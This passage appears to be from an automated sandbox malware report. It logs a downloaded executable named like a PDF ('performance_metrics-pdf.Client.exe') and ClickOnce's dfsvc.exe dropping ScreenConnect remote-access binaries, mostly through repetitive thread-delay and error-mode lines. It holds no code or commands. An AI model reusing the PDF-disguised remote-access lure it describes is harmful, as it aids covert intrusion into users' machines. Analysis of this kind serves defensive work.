Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Memory allocated: 2969A170000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Memory allocated: 296B3AD0000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599871	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599737	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599618	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599508	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599396	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599269	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599142	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599016	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598905	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598794	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598681	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598572	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598460	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598347	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598206	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598080	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597952	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597840	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597727	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597615	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597488	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597361	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597233	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597121	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597010	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596897	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596786	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596658	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596403	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596290	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596179	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596066	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595940	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595814	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595702	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595590	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595366	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595255	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595127	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594887	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594775	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594664	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594552	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594425	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594297	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Window / User API: threadDelayed 9453

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.WindowsBackstageShell.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.WindowsFileManager.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.WindowsClient.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.ClientService.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\E4P26GMD.T7C\TNP7A9PA.R7Z\ScreenConnect.Client.dll	Jump to dropped file

Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe TID: 5612	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -22136092888451448s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -599871s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -599737s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -599618s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -599508s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -599396s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -599269s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -599142s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -599016s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -598905s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -598794s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -598681s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -598572s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -598460s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -598347s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -598206s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -598080s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -597952s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -597840s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -597727s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -597615s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -597488s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -597361s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -597233s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -597121s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -597010s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -596897s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -596786s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -596658s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -596515s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -596403s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -596290s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -596179s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -596066s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -595940s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -595814s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -595702s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -595590s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -595477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -595366s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -595255s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -595127s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -595000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -594887s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -594775s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -594664s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -594552s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -594425s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6296	Thread sleep time: -594297s >= -30000s	Jump to behavior

Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe

Last function: Thread delayed

Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe	Thread delayed: delay time: 40000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599871	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599737	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599618	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599508	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599396	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599269	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599142	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599016	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598905	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598794	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598681	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598572	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598460	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598347	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598206	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598080	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597952	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597840	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597727	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597615	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597488	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597361	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597233	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597121	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597010	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596897	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596786	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596658	Jump to behavior
